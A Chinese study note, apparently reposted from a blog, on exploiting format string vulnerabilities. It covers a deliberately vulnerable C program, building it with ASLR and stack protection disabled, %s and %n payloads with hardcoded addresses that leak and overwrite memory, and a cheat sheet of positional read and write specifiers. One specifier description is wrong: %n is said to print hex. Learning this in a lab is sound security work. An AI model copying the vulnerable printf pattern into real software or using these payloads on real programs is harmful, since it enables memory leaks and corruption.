【逆向学习记录】格式化字符串漏洞利用

xiaoxiao2021-02-28  9

#学习记录:格式化字符串漏洞利用 ##1 背景

之前在实际漏洞利用的过程中,用过几次格式化字符串,一直都是照葫芦画瓢,一直都是有点模棱两可的,趁着有时间,赶紧把这个漏洞补上。

参考文章:http://www.secbox.cn/hacker/7482.html http://www.freebuf.com/articles/network/62473.html http://blog.csdn.net/immcss/article/details/6267849 ##2 格式化字符串案例 ###2.1 案例编译

#include<stdio.h> int main() { char str[100]; fgets(str,100,stdin); printf(str); return 0; }

编译的过程要把ASLR关闭,使用root权限关闭,然后切换回普通权限 echo 0 > /proc/sys/kernel/randomize_va_space 使用普通的用户组进行编译,注意关闭堆栈保护 gcc -m32 -z execstack -fno-stack-protector format_str.c -o format_str -g ###2.2 案例分析 ####2.2.1 探测堆栈分布

当写入ABCD时,内存分布如下

可以看出写入的内容是反向的 ####2.2.2 使用%s泄漏内存info 通过上面的探测,我们发现,其实前面一段输入已经写入内存 比如,如果想要获取地址0x44434241地址的值 ABCD输入之后,探测到第七个x为ABCD的值, 如果将这个d替换为%s,实际上就相当于从0x44434241这个地址读取一段内存,造成了内存泄漏的漏洞。

因此,如果我要获取0xffffd4f0的值,通过上面的输入对比可知,需要逆转: \xf0\xd4\xff\xffxxxxxx%s

然而,当从shell输入之后,得到如下结果:程序崩溃了 后来发现shell 在读取\x时会自动转化为\x因此难免崩溃了。 因此修改程序如下:

#include<stdio.h> int main() { int a = 0xffffd480; int *p = (int*)a; *p = 1234; printf("\np=%s\n",p); // char str[40] = "AAAAxxxxx"; char str[40] = "\x80\xd4\xff\xffxxx%s"; // fgets(str,100,stdin); printf(str); printf("\np=%s\n",p); return 0; }

####2.2.3 %n 写入N

修改代码为:N = 4+ 3*8 = 28

#include<stdio.h> int main() { int a = 0xffffd480; int *p = (int*)a; *p = 1234; printf("\np=%s\n",p); // char str[40] = "AAAAxxxxx"; char str[40] = "\x80\xd4\xff\xffxxx%n"; // fgets(str,100,stdin); printf(str); printf("\np=%d\n",*p); return 0; }

经过探测,发现为第四个x,修改为某个可访问地址获得内存信息

通过控制位数,完成任意长度构造 char str[40] = "\x80\xd4\xff\xffxx0x%n"; ##3 备注 当然,这些都是最简单的情况, 关闭了所有的保护,并且使用的32位的程序, 真正在实际中,遇到的要比这些复制的多,都是配合shellcode或者跳转到system函数 ###3.1 Format %[标志][输出最小宽度][.精度][长度]类型

其中跟格式化字符串漏洞有关系的主要有以下几点: 1、输出最小宽度:用十进制整数来表示输出的最少位数。若实际位数多于定义的宽度,则按实际位数输出,若实际位数少于定义的宽度则补以空格或0。 2、类型: d 表示输出十进制整数* s 从内存中读取字符串* x 输出十六进制数* n 输出十六进制数

http://www.cnblogs.com/Ox9A82/p/5429099.html 32位 读 '%{}$x'.format(index) // 读4个字节 '%{}$p'.format(index) // 同上面 '${}$s'.format(index) 写 '%{}$n'.format(index) // 解引用,写入四个字节 '%{}$hn'.format(index) // 解引用,写入两个字节 '%{}$hhn'.format(index) // 解引用,写入一个字节 '%{}$lln'.format(index) // 解引用,写入八个字节 64位 读 '%{}$x'.format(index, num) // 读4个字节 '%{}$lx'.format(index, num) // 读8个字节 '%{}$p'.format(index) // 读8个字节 '${}$s'.format(index) 写 '%{}$n'.format(index) // 解引用,写入四个字节 '%{}$hn'.format(index) // 解引用,写入两个字节 '%{}$hhn'.format(index) // 解引用,写入一个字节 '%{}$lln'.format(index) // 解引用,写入八个字节 %1$lx: RSI %2$lx: RDX %3$lx: RCX %4$lx: R8 %5$lx: R9 %6$lx: 栈上的第一个QWORD
转载请注明原文地址: https://www.6miu.com/read-1150179.html

最新回复(0)